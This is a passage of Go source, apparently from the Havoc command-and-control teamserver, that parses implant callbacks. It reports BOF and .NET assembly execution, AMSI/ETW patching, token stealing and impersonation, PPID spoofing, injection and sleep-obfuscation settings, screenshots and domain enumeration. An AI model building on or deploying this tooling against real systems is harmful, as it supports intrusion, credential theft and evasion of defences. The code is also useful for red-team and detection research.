OutputMap["Type"] = "Info" OutputMap["Message"] = "BOF execution completed" teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap) } a.RequestCompleted(RequestID) break case COMMAND_INLINEEXECUTE_COULD_NO_RUN: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_COULD_NO_RUN", AgentID)) found := false for i, BofCallback := range a.BofCallbacks { if BofCallback.TaskID == RequestID { // send the output back to the python module OutputMap["Worked"] = "false" OutputMap["Output"] = "" OutputMap["TaskID"] = strings.ToUpper(fmt.Sprintf("%08x", RequestID)) teamserver.PythonModuleCallback(BofCallback.ClientID, a.NameID, HAVOC_BOF_CALLBACK, OutputMap) a.BofCallbacks = append(a.BofCallbacks[:i], a.BofCallbacks[i+1:]...) found = true break } } if found == false { OutputMap["Type"] = "Error" OutputMap["Message"] = "Failed to execute object file" teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap) } a.RequestCompleted(RequestID) break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - UNKNOWN (%d)", AgentID, Type)) } case COMMAND_ERROR: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( ErrorID = Parser.ParseInt32() Message = make(map[string]string) ) switch ErrorID { case ERROR_WIN32_LASTERROR: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( ErrorCode = Parser.ParseInt32() ErrorString, found = Win32ErrorCodes[int(ErrorCode)] ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR - ERROR_WIN32_LASTERROR, ErrorCode: %d", AgentID, ErrorCode)) ErrorString += " " if !found { ErrorString = "" } Message["Type"] = "Error" Message["Message"] = fmt.Sprintf("Win32 Error: %v [%v]", ErrorString, ErrorCode) // TODO: can we expect more messages from this request? //a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR - ERROR_WIN32_LASTERROR, Invalid packet", AgentID)) } break case ERROR_TOKEN: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var Status = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR - ERROR_TOKEN, Status: %d", AgentID, Status)) switch Status { case 0x1: Message["Type"] = "Error" Message["Message"] = "No tokens inside the token vault" break } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR - ERROR_TOKEN, Invalid packet", AgentID)) } default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR - UNKNOWN (%d)", AgentID, ErrorID)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR, Invalid packet", AgentID)) } case COMMAND_ASSEMBLY_INLINE_EXECUTE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( InfoID = Parser.ParseInt32() Message = make(map[string]string) ) switch InfoID { case DOTNET_INFO_PATCHED: Message["Type"] = "Info" Message["Message"] = "[HwBpEngine] Amsi/Etw has been hooked & patched" break case DOTNET_INFO_NET_VERSION: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_NET_VERSION", AgentID)) Message["Type"] = "Info" Message["Message"] = "Using CLR Version: " + Parser.ParseUTF16String() } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_NET_VERSION, Invalid packet", AgentID)) } break case DOTNET_INFO_ENTRYPOINT: var ThreadID int if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { ThreadID = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_ENTRYPOINT, ThreadID: %d", AgentID, ThreadID)) Message = map[string]string{ "Type": "Good", "Message": fmt.Sprintf("Assembly has been executed [Thread: %d]", ThreadID), } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_ENTRYPOINT, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Callback error: DOTNET_INFO_ENTRYPOINT (0x3) expects more or at least 4 bytes but received %d bytes.", Parser.Length()), } } case DOTNET_INFO_FINISHED: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_FINISHED", AgentID)) Message = map[string]string{ "Type": "Good", "Message": "Finished executing assembly.", } a.RequestCompleted(RequestID) break case DOTNET_INFO_FAILED: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_FAILED", AgentID)) Message = map[string]string{ "Type": "Error", "Message": "Failed to execute assembly or initialize the clr", } a.RequestCompleted(RequestID) break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - UNKNOWN (%d)", AgentID, InfoID)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE, Invalid packet", AgentID)) } break case COMMAND_ASSEMBLY_LIST_VERSIONS: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_LIST_VERSIONS", AgentID)) var Output string var Message = make(map[string]string) for Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { Output += fmt.Sprintf(" - %v\n", Parser.ParseUTF16String()) } Message["Type"] = typeInfo Message["Message"] = "List available assembly versions:" Message["Output"] = Output a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) break case COMMAND_PROC_PPIDSPOOF: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( Ppid = int(Parser.ParseInt32()) Message = make(map[string]string) ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC_PPIDSPOOF, Ppid: %d", AgentID, Ppid)) Message["Type"] = typeGood Message["Message"] = "Changed parent pid to spoof: " + strconv.Itoa(Ppid) a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC_PPIDSPOOF, Invalid packet", AgentID)) } break case COMMAND_TOKEN: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( SubCommand = Parser.ParseInt32() Output = make(map[string]string) ) switch SubCommand { case DEMON_COMMAND_TOKEN_IMPERSONATE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) { var ( Successful = Parser.ParseInt32() User = Parser.ParseBytes() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_IMPERSONATE, Successful: %d, User: %s", AgentID, Successful, User)) if Successful == win32.TRUE { Output["Type"] = typeGood Output["Message"] = fmt.Sprintf("Successful impersonated %s", User) } else { Output["Type"] = typeError Output["Message"] = fmt.Sprintf("Failed to impersonat %s", User) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_IMPERSONATE, Invalid packet", AgentID)) } break case DEMON_COMMAND_TOKEN_STEAL: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32}) { var ( User = Parser.ParseUTF16String() TokenID = Parser.ParseInt32() TargetPID = Parser.ParseInt32() ) // TODO: this should have a fail case logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_STEAL, User: %s, TokenID: %v, TargetPID: %v", AgentID, User, TokenID, TargetPID)) Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("Successful stole and impersonated token from %v User:[%v] TokenID:[%v]", TargetPID, User, TokenID) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_STEAL, Invalid packet", AgentID)) } break case DEMON_COMMAND_TOKEN_LIST: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_LIST", AgentID)) var ( Buffer string FmtString string Array [][]any MaxString int ) for Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( TokenIndex = Parser.ParseInt32() Handle = fmt.Sprintf("0x%x", Parser.ParseInt32()) DomainAndUser = Parser.ParseUTF16String() ProcessID = Parser.ParseInt32() Type = Parser.ParseInt32() Impersonating = Parser.ParseInt32() ) Array = append(Array, []any{TokenIndex, Handle, DomainAndUser, ProcessID, Type, Impersonating}) if len(DomainAndUser) > MaxString { MaxString = len(DomainAndUser) } } FmtString = fmt.Sprintf(" %%-4v %%-6v %%-%vv %%-4v %%-14v %%-4v\n", MaxString) if len(Array) > 0 { Buffer += fmt.Sprintf(FmtString, " ID ", "Handle", "Domain\\User", "PID", "Type", "Impersonating") Buffer += fmt.Sprintf(FmtString, "----", "------", "-----------", "---", "--------------", "-------------") for _, item := range Array { if item[4] == 0x1 { item[4] = "stolen" } else if item[4] == 0x2 { item[4] = "make (local)" } else if item[4] == 0x3 { item[4] = "make (network)" } else { item[4] = "unknown" } if item[5] == win32.TRUE { item[5] = "Yes" } else { item[5] = "No" } Buffer += fmt.Sprintf(FmtString, item[0], item[1], item[2], item[3], item[4], item[5]) } } else { Buffer = "The token vault is empty" } Output["Type"] = "Info" Output["Message"] = "Token Vault:" Output["Output"] = "\n" + Buffer a.RequestCompleted(RequestID) break case DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST", AgentID)) var ( PrivList = Parser.ParseInt32() OutputBuffer bytes.Buffer TableData [][]string ) if PrivList == win32.TRUE { table := tablewriter.NewWriter(&OutputBuffer) table.SetBorder(false) table.SetHeaderAlignment(tablewriter.ALIGN_CENTER) table.SetRowSeparator(" ") table.SetColumnSeparator("::") table.SetCenterSeparator(" ") for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32}) { var ( Column []string Privilege string StateInt int State string ) Privilege = Parser.ParseString() StateInt = Parser.ParseInt32() if StateInt == 3 { State = "Enabled" } else if StateInt == 2 { State = "Adjusted" } else if StateInt == 0 { State = "Disabled" } else { State = "Unknown" } Column = []string{Privilege, State} TableData = append(TableData, Column) } table.AppendBulk(TableData) table.Render() Output["Type"] = "Good" Output["Message"] = "List Privileges for current Token:" Output["Output"] = "\n" + OutputBuffer.String() } else { if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) { var ( Success = Parser.ParseInt32() PrivName = Parser.ParseString() ) if Success == 1 { Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("The privilege %s was successfully enabled", PrivName) } else { Output["Type"] = "Error" Output["Message"] = fmt.Sprintf("Failed to enable the %s privilege", PrivName) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST, Invalid packet", AgentID)) } } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST, Invalid packet", AgentID)) } break case DEMON_COMMAND_TOKEN_MAKE: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_MAKE", AgentID)) if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("Successfully created and impersonated token: %s", Parser.ParseUTF16String()) } else { Output["Type"] = "Error" Output["Message"] = fmt.Sprintf("Failed to create token") } a.RequestCompleted(RequestID) break case DEMON_COMMAND_TOKEN_GET_UID: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) { var ( Elevated = Parser.ParseInt32() User = Parser.ParseUTF16String() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_GET_UID, Elevated: %d, User: %v", AgentID, Elevated, User)) Output["Type"] = typeGood if Elevated == 0 { Output["Message"] = fmt.Sprintf("Token User: %v", User) } else { Output["Message"] = fmt.Sprintf("Token User: %v (Admin)", User) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_GET_UID, Invalid packet", AgentID)) } break case DEMON_COMMAND_TOKEN_REVERT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var Successful = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REVERT, Successful: %d", AgentID, Successful)) if Successful == win32.TRUE { Output["Type"] = typeGood Output["Message"] = "Successful reverted token to itself" } else { Output["Type"] = typeError Output["Message"] = "Failed to revert token to itself" } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REVERT, Invalid packet", AgentID)) } break case DEMON_COMMAND_TOKEN_REMOVE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( Successful = Parser.ParseInt32() TokenID = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REMOVE, Successful: %d, TokenID: %v", AgentID, Successful, TokenID)) if Successful == win32.TRUE { Output["Type"] = typeGood Output["Message"] = fmt.Sprintf("Successful removed token [%v] from vault", TokenID) } else { Output["Type"] = typeError Output["Message"] = fmt.Sprintf("Failed to remove token [%v] from vault", TokenID) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REMOVE, Invalid packet", AgentID)) } break case DEMON_COMMAND_TOKEN_FIND_TOKENS: var ( Successful int Buffer string DomainAndUser string NumTokens int ProcessPID int localHandle int integrity_level int integrity string impersonation_level int impersonation string TokenType int Type string Array [][]any MaxString int RemoteAuth string FmtString string FoundTokens bool ) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { Successful = Parser.ParseInt32() MaxString = 0 logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_FIND_TOKENS, Successful: %d", AgentID, Successful)) if Successful == win32.TRUE { if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { NumTokens = Parser.ParseInt32() FoundTokens = NumTokens > 0 for NumTokens > 0 && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { DomainAndUser = Parser.ParseUTF16String() ProcessPID = Parser.ParseInt32() localHandle = Parser.ParseInt32() integrity_level = Parser.ParseInt32() impersonation_level = Parser.ParseInt32() TokenType = Parser.ParseInt32() if integrity_level <= SECURITY_MANDATORY_LOW_RID { integrity = "Low" } else if integrity_level >= SECURITY_MANDATORY_MEDIUM_RID && integrity_level < SECURITY_MANDATORY_HIGH_RID { integrity = "Medium" } else if integrity_level >= SECURITY_MANDATORY_HIGH_RID && integrity_level < SECURITY_MANDATORY_SYSTEM_RID { integrity = "High" } else if integrity_level >= SECURITY_MANDATORY_SYSTEM_RID { integrity = "System" } RemoteAuth = "No" if TokenType == TokenImpersonation { Type = "Impersonation" if impersonation_level == SecurityAnonymous { impersonation = "Anonymous" } else if impersonation_level == SecurityIdentification { impersonation = "Identification" } else if impersonation_level == SecurityImpersonation { impersonation = "Impersonation" } else if impersonation_level == SecurityDelegation { impersonation = "Delegation" RemoteAuth = "Yes" } } else if TokenType == TokenPrimary { Type = "Primary" impersonation = "N/A" RemoteAuth = "Yes" } else { Type = "?" } Array = append(Array, []any{DomainAndUser, integrity, Type, impersonation, "Yes", RemoteAuth, ProcessPID, fmt.Sprintf("%x", localHandle)}) if len(DomainAndUser) > MaxString { MaxString = len(DomainAndUser) } NumTokens-- } if FoundTokens == true { if MaxString < 13 { MaxString = 13 } FmtString = fmt.Sprintf(" %%-%vv %%-9v %%-13v %%-16v %%-9v %%-10v %%-9v %%-9v\n", MaxString) Buffer += fmt.Sprintf(FmtString, " Domain\\User", "Integrity", "TokenType", "Impersonation LV", "LocalAuth", "RemoteAuth", "ProcessID", "Handle") Buffer += fmt.Sprintf(FmtString, strings.Repeat("-", MaxString), "---------", "-------------", "----------------", "---------", "----------", "---------", "------") for _, item := range Array { if item[7] == "0" { item[7] = "" } Buffer += fmt.Sprintf(FmtString, item[0], item[1], item[2], item[3], item[4], item[5], item[6], item[7]) } Buffer += "\nTo impersonate a user, run: token steal [process id] (handle)" } else { Buffer += "No tokens found" } Output["Type"] = "Info" Output["Message"] = "Tokens available:" Output["Output"] = "\n" + Buffer a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_FIND_TOKENS, Invalid packet: %d", AgentID)) } } else { Output["Type"] = typeError Output["Message"] = "Failed to list existing tokens" } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_FIND_TOKENS, Invalid packet", AgentID)) } break case DEMON_COMMAND_TOKEN_CLEAR: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_CLEAR", AgentID)) Output["Type"] = typeGood Output["Message"] = "Token vault has been cleared" a.RequestCompleted(RequestID) break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - UNKNOWN (%d)", AgentID, SubCommand)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN, Invalid packet", AgentID)) } break case COMMAND_CONFIG: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( Message = make(map[string]string) Config int ConfigData any ) Config = Parser.ParseInt32() Message["Type"] = "Good" switch Config { case CONFIG_MEMORY_ALLOC: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_ALLOC", AgentID)) ConfigData = Parser.ParseInt32() Message["Message"] = fmt.Sprintf("Default memory allocation set to %v", ConfigData.(int)) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_ALLOC, Invalid packet", AgentID)) } break case CONFIG_MEMORY_EXECUTE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_EXECUTE", AgentID)) ConfigData = Parser.ParseInt32() Message["Message"] = fmt.Sprintf("Default memory executing set to %v", ConfigData.(int)) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_EXECUTE, Invalid packet", AgentID)) } break case CONFIG_INJECT_SPAWN64: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN64", AgentID)) ConfigData = Parser.ParseUTF16String() Message["Message"] = "Default x64 target process set to " + ConfigData.(string) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN64, Invalid packet", AgentID)) } break case CONFIG_INJECT_SPAWN32: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN32", AgentID)) ConfigData = Parser.ParseUTF16String() Message["Message"] = "Default x86 target process set to " + ConfigData.(string) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN32, Invalid packet", AgentID)) } break case CONFIG_KILLDATE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt64}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_KILLDATE", AgentID)) a.Info.KillDate = Parser.ParseInt64() teamserver.AgentUpdate(a) if a.Info.KillDate == 0 { Message["Message"] = "KillDate was disabled" } else { Message["Message"] = "KillDate has been set" } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_KILLDATE, Invalid packet", AgentID)) } break case CONFIG_WORKINGHOURS: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_WORKINGHOURS", AgentID)) a.Info.WorkingHours = int32(Parser.ParseInt32()) teamserver.AgentUpdate(a) if a.Info.WorkingHours == 0 { Message["Message"] = "WorkingHours was disabled" } else { Message["Message"] = "WorkingHours has been set" } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_KILLDATE, Invalid packet", AgentID)) } break case CONFIG_IMPLANT_SPFTHREADSTART: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SPFTHREADSTART", AgentID)) ConfigData = Parser.ParseString() + "!" + Parser.ParseString() Message["Message"] = "Sleep obfuscation spoof thread start addr to " + ConfigData.(string) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SPFTHREADSTART, Invalid packet", AgentID)) } break case CONFIG_IMPLANT_SLEEP_TECHNIQUE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SLEEP_TECHNIQUE", AgentID)) ConfigData = Parser.ParseInt32() Message["Message"] = fmt.Sprintf("Sleep obfuscation technique set to %v", ConfigData.(int)) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SLEEP_TECHNIQUE, Invalid packet", AgentID)) } break case CONFIG_IMPLANT_COFFEE_VEH: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_VEH", AgentID)) ConfigData = Parser.ParseInt32() if ConfigData.(int) == 0 { ConfigData = "false" } else { ConfigData = "true" } Message["Message"] = fmt.Sprintf("Coffee VEH set to %v", ConfigData.(string)) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_VEH, Invalid packet", AgentID)) } break case CONFIG_IMPLANT_COFFEE_THREADED: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_THREADED", AgentID)) ConfigData = Parser.ParseInt32() if ConfigData.(int) == 0 { ConfigData = "false" } else { ConfigData = "true" } Message["Message"] = fmt.Sprintf("Coffee threading set to %v", ConfigData.(string)) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_THREADED, Invalid packet", AgentID)) } break case CONFIG_INJECT_TECHNIQUE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_TECHNIQUE", AgentID)) ConfigData = strconv.Itoa(Parser.ParseInt32()) Message["Message"] = "Set default injection technique to " + ConfigData.(string) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_TECHNIQUE, Invalid packet", AgentID)) } break case CONFIG_INJECT_SPOOFADDR: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPOOFADDR", AgentID)) ConfigData = Parser.ParseString() + "!" + Parser.ParseString() Message["Message"] = "Injection thread spoofing value set to " + ConfigData.(string) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPOOFADDR, Invalid packet", AgentID)) } break case CONFIG_IMPLANT_VERBOSE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_VERBOSE", AgentID)) ConfigData = Parser.ParseInt32() if ConfigData.(int) == 0 { ConfigData = "false" } else { ConfigData = "true" } Message["Message"] = fmt.Sprintf("Implant verbose messaging: %v", ConfigData.(string)) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_VERBOSE, Invalid packet", AgentID)) } break default: Message["Type"] = "Error" Message["Message"] = "Error while setting certain config" break } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG, Invalid packet", AgentID)) } break case COMMAND_SCREENSHOT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( Success = Parser.ParseInt32() Message = make(map[string]string) ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SCREENSHOT, Success: %d", AgentID, Success)) if Success == 1 { if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var BmpBytes = Parser.ParseBytes() var Name = "Desktop_" + time.Now().Format("02.01.2006-05.04.05") + ".png" if len(BmpBytes) > 0 { err := logr.LogrInstance.DemonSaveScreenshot(a.NameID, Name, BmpBytes) if err != nil { Message["Type"] = "Error" Message["Message"] = "Failed to take a screenshot: " + err.Error() return } Message["Type"] = "Good" Message["Message"] = "Successful took screenshot" Message["MiscType"] = "screenshot" Message["MiscData"] = base64.StdEncoding.EncodeToString(BmpBytes) Message["MiscData2"] = Name } else { Message["Type"] = "Error" Message["Message"] = "Failed to take a screenshot" } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SCREENSHOT, Invalid packet", AgentID)) } } else { Message["Type"] = "Error" Message["Message"] = "Failed to take a screenshot" } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SCREENSHOT, Invalid packet", AgentID)) } break case COMMAND_NET: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( NetCommand = Parser.ParseInt32() Message = make(map[string]string) ) switch NetCommand { case DEMON_NET_COMMAND_DOMAIN: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Domain = Parser.ParseString() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_DOMAIN, Domain: %s", AgentID, Domain)) if Domain == "" { Message["Type"] = "Good" Message["Message"] = "The machine does not seem to be joined to a domain" } else { Message["Type"] = "Good" Message["Message"] = fmt.Sprintf("Domain for this Host: %s", Domain) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_DOMAIN, Invalid packet", AgentID)) } break case DEMON_NET_COMMAND_LOGONS: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOGONS", AgentID)) var ( Index int Output string ) if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Domain = Parser.ParseUTF16String() Output += fmt.Sprintf(" %-12s\n", "Usernames") Output += fmt.Sprintf(" %-12s\n", "---------") for Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Name = Parser.ParseUTF16String() Index++ Output += fmt.Sprintf(" %-12s\n", Name) } Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("Logged on users at %s [%v]: ", Domain, Index) Message["Output"] = "\n" + Output a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOGONS, Invalid packet", AgentID)) } break case DEMON_NET_COMMAND_SESSIONS: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SESSIONS", AgentID)) var ( Index int Buffer bytes.Buffer Data [][]string ) if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Domain = Parser.ParseUTF16String() table := tablewriter.NewWriter(&Buffer) table.SetBorder(false) table.SetHeader([]string{"Computer", "Username", "Active", "Idle"}) table.SetBorder(false) table.SetHeaderAlignment(tablewriter.ALIGN_CENTER) // table.SetRowSeparator("-") table.SetColumnSeparator(" ") table.SetCenterSeparator(" ") for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32}) { var ( Client = 